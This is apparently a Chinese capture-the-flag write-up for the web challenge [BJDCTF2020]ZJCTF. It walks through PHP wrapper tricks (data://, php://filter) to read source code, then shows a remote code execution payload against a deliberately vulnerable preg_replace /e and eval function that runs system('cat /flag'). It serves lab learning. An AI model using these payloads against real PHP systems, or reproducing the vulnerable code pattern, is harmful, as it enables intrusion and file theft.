首页
学习
活动
专区
圈层
工具
发布
社区首页 >专栏 >[BJDCTF2020]ZJCTF,不过如此

[BJDCTF2020]ZJCTF,不过如此

作者头像
熔城Sec
发布2026-09-15 14:12:04
发布2026-09-15 14:12:04
850
举报

01

题目简介

  • 题目名称:[BJDCTF2020]ZJCTF,不过如此
  • 题目平台:CTF²
  • 题目类型:Web

02

解题步骤

启动靶机

审计一下上述代码,我们发现使用了GET方法传递了两个参数text、file。并且使用file_get_contents写入text,要求写入的字符串和i have a dream相同。

在传参的时候路径中不能含有/flag/ 的路径 ,就会输出“ not now ”,同时在注释里面告诉我们一个php文件。

通过上述的逻辑分析,我们可以构造payload,因为使用了file_get_contents,所以我们可以通过data://协议进行读取。

代码语言:javascript
复制
/?text=data://text/plain,I have a dream&file=php://filter/read=convert.base64-encode/resource=next.php

进行base64解码操作

获得新的源码

代码语言:javascript
复制
<?php
$id = $_GET['id'];
$_SESSION['id'] = $id;

function complex($re, $str) {
    return preg_replace(
        '/(' . $re . ')/ei',
        'strtolower("\\1")',
        $str
    );
}


foreach($_GET as $re => $str) {
    echo complex($re, $str). "\n";
}

function getFlag(){
	@eval($_GET['cmd']);
}

这里的关键方法在这里

代码语言:javascript
复制
function complex($re, $str) {
    return preg_replace(
        '/(' . $re . ')/ei',
        'strtolower("\\1")',
        $str
    );
}

这里使用了一个preg_replace的命令执行漏洞,

代码语言:javascript
复制
‌漏洞触发条件:‌
PHP 版本 < 7.0(PHP 5.5 废弃 /e,PHP 7.0 移除)。
preg_replace 第一个参数包含 /e 修饰符。
第二个参数(替换串)中包含反向引用(
\1, $1 等),且该引用内容受用户控制 

所以接下来我们就可以构造payload了

代码语言:javascript
复制
/next.php?\S*=${getFlag()}&cmd=system('cat /flag'); 
本文参与 腾讯云自媒体同步曝光计划,分享自微信公众号。
原始发表:2026-09-09,如有侵权请联系 cloudcommunity@tencent.com 删除
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档